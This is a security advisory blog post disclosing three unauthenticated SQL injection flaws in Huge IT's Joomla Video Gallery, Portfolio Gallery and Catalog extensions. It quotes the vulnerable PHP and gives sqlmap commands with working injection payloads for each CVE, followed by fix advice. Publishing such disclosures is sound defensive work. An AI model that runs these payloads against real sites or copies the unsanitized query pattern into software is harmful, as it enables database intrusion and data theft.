Akamai Diversity
Home > Web Security > Multiple SQL Injections in Three Joomla Extensions by Huge IT

Multiple SQL Injections in Three Joomla Extensions by Huge IT

Earlier this month, I found myself thinking about some vulnerabilities I discovered with my intern, Elitza Neytcheva, while demonstrating vulnerability research. I realized I only gave the code a nominal review, only partially analyzing and tracing the execution paths to exploit the XSS and SQL injection that Elitza and I initially found. We looked at about 5% of the overall extensions code. I figured it could use a second deeper look, and I wanted to find a SQL injection that didn't require an authenticated user to exploit - which is the worst kind of vulnerability.

I started to manually select PHP files to examine if code had been protected with this line:

defined('_JEXEC') or die('Restricted access');

All of the extension .php files had that code right at the start. That code ensures that the user executing that .php file isn't calling it directly. The user must be logged in to the Joomla CMS in order to run it. I did find one file (ajax_url.php) that piqued my interest with the following code snippet:

11 define('_JEXEC',1);

12 defined('_JEXEC') or die('Restircted access');

The first line negates the second line; might as well as delete both of them. This .php file can be executed by anyone with a web browser by making a GET request.


CVE-2016-1000123

The first vulnerability, CVE-2016-1000123, is in the following code for Video Gallery v1.0.9. The code does not prevent an unauthenticated user from injecting SQL into functions located in ajax_url.php.

Vulnerable Code in : ajax_url.php

 

 11 define('_JEXEC',1);

 12 defined('_JEXEC') or die('Restircted access');

.

.

.

 28         if($_POST['task']=="load_videos_content"){

 29

 30             $page = 1;

 31

 32

 33             if(!empty($_POST["page"]) && is_numeric($_POST['page']) && $_POST['page']>0){

 34                 $paramssld='';

 35                 $db5 = JFactory::getDBO();

 36                 $query5 = $db->getQuery(true);

 37                 $query5->select('*');

 38                 $query5->from('#__huge_it_videogallery_params');

 39                 $db->setQuery($query5);

 40                 $options_params = $db5->loadObjectList();

 41                 foreach ($options_params as $rowpar) {

 42                     $key = $rowpar->name;

 43                     $value = $rowpar->value;

 44                     $paramssld[$key] = $value;

 45                 }

.

.

 49                 $idofgallery=$_POST['galleryid'];

 50

 51                 $query = $db->getQuery(true);

 52                 $query->select('*');

 53                 $query->from('#__huge_it_videogallery_videos');

 54                 $query->where('videogallery_id ='.$idofgallery);

 55                 $query ->order('#__huge_it_videogallery_videos.ordering asc');

 56                 $db->setQuery($query,$start,$num);

The content of the $_POST['galleryid'] variable is passed without any sanitization into the SQL query string, allowing a malicious user to inject their own SQL statements.

I suspected the code above would be reused in other extensions that the HUGE IT development team maintains, so I downloaded all of them from their website.  I found similar SQL injection points in two more extensions -  specifically in the ajax_url.php code.

 


CVE-2016-1000124 

Almost exactly the same vulnerability here, an arbitrary user can inject SQL via the function huge_it_portfolio_gallery_ajax in ajax_url.php for Portfolio Gallery Plugin v1.0.6:

In file ajax_url.php:

  11 define('_JEXEC',1);

  12 defined('_JEXEC') or die('Restircted access');

.

.

.

  49             $page = $_POST["page"];

  50             $num=$_POST['perpage'];

  51             $start = $page * $num - $num;

  52             $idofgallery=$_POST['galleryid'];

  53             $level = $_POST['level'];

  54             $query = $db->getQuery(true);

  55             $query->select('*');

  56             $query->from('#__huge_itportfolio_images');

  57             $query->where('portfolio_id ='.$idofgallery);

  58             $query ->order('#__huge_itportfolio_images.ordering asc');

  59             $db->setQuery($query,$start,$num);


CVE-2016-1000125

Again, we see the extension author does not prevent an unauthenticated user from injecting SQL into the query.  This time in the function 'load_more_elements_into_catalog' located in ajax_url.php for Catalog v1.0.7.

Vulnerable Code in : ajax_url.php

 11 define('_JEXEC', 1);

 12 defined('_JEXEC') or die('Restircted access');

.

.

.

308         } elseif ($_POST["post"] == "load_more_elements_into_catalog") {

309             $catalog_id = $_POST["catalog_id"];

310             $old_count = $_POST["old_count"];

311             $count_into_page = $_POST["count_into_page"];

312             $show_thumbs = $_POST["show_thumbs"];

313             $show_description = $_POST["show_description"];

314             $show_linkbutton = $_POST["show_linkbutton"];

315             $parmalink = $_POST["parmalink"];

316             $level = $_POST['level'];

.

.

.

359             $query->select('*');

360             $query->from('#__huge_it_catalog_products');

361             $query->where('catalog_id =' . $catalog_id);

362             $query->order('ordering asc');

363             $db->setQuery($query, $from, $count_into_page);


Exploitation

CVE-2016-1000123

$ sqlmap -u 'http://example.com/components/com_videogallerylite/ajax_url.php' --data="page=1&galleryid=*&task=load_videos_content&perpage=20&linkbutton=2"  --level=5 --risk=3

.

.

.

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)?

[y/N]

sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:

---

Parameter: #1* ((custom) POST)

    Type: error-based

    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)

    Payload: page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2

    Type: AND/OR time-based blind

    Title: MySQL >= 5.0.12 time-based blind - Parameter replace

    Payload: page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2

---

[19:36:55] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 8.0 (jessie)

web application technology: Apache 2.4.10

back-end DBMS: MySQL >= 5.0.12

[19:36:55] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 2714 times

[19:36:55] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4' 

[*] shutting down at 19:36:55


CVE-2016-1000124

$ sqlmap -u 'http://example.com/components/com_portfoliogallery/ajax_url.php' --data="page=1&galleryid=*&post=huge_it_portfolio_gallery_ajax&perpage=20&linkbutton=2"  --level=5 --risk=3

.

.

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)?

[y/N]

sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:

---

Parameter: #1* ((custom) POST)

    Type: error-based

    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)

    Payload: page=1&galleryid=-2264 OR 1 GROUP BY CONCAT(0x71716a7a71,(SELECT (CASE WHEN (3883=3883) THEN 1 ELSE 0 END)),0x7178627071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&post=huge_it_portfolio_gallery_ajax&perpage=20&linkbutton=2

    Type: AND/OR time-based blind

    Title: MySQL >= 5.0.12 time-based blind - Parameter replace

    Payload: page=1&galleryid=(CASE WHEN (9445=9445) THEN SLEEP(5) ELSE 9445 END)&post=huge_it_portfolio_gallery_ajax&perpage=20&linkbutton=2

---

[13:30:39] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 8.0 (jessie)

web application technology: Apache 2.4.10

back-end DBMS: MySQL >= 5.0.12

[13:30:39] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 2715 times

[13:30:39] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4'

[*] shutting down at 13:30:39


CVE-2016-1000125

$ sqlmap -u 'http://example.com/components/com_catalog/ajax_url.php' --data="prod_page=1&post=load_more_elements_into_catalog&catalog_id=*&old_count=*&count_into_page=*&show_thumbs=*&show_description=*&parmalink=*"  --level=5 --risk=3

Parameter: #1* ((custom) POST)

    Type: error-based

    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)

    Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=-2369 OR 1 GROUP BY CONCAT(0x717a627871,(SELECT (CASE WHEN (1973=1973) THEN 1 ELSE 0 END)),0x716b787671,FLOOR(RAND(0)*2)) HAVING MIN(0)#&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=

    Type: AND/OR time-based blind

    Title: MySQL >= 5.0.12 time-based blind - Parameter replace

    Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=(CASE WHEN (7371=7371) THEN SLEEP(5) ELSE 7371 END)&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=

    Type: UNION query

    Title: Generic UNION query (random number) - 15 columns

    Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=-5943 UNION

ALL SELECT 2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,CONCAT(0x717a627871,0x494a475477424c724f6f7853556d61597544576f4b614d6e41596771595253476c4251797a685974,0x716b787671)-- FvOy&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=

---

[16:48:10] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 8.0 (jessie)

web application technology: Apache 2.4.10

back-end DBMS: MySQL >= 5.0.12

[16:48:10] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 6637 times

[16:48:10] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'

[*] shutting down at 16:48:10


Fixing It

A quick fix for these vulnerabilities would be to convert the galleryid variable to an integer and removing the line where _JEXEC is defined.  This would prevent the ajax routines from being loaded directly and converting the variable to an integer would stop the SQL injection.  A better way would be to parameterize the SQL statements instead of creating them directly.

Moving Forward

What causes these vulnerabilities to be so severe is the lack of authentication required to exploit them. The first red flag for me was the software author defining a variable that when marked as "undefined" shows that the code was being accessed directly.  The first line negated the second, making both lines worthless. Make sure your Joomla site and its extensions are kept up to date with the latest versions. 

4 Comments

it'll only work in Joomla platform?

Right,
I didn't see the existence of ajax_url.php in the WordPress versions.

nice work keep going

Leave a comment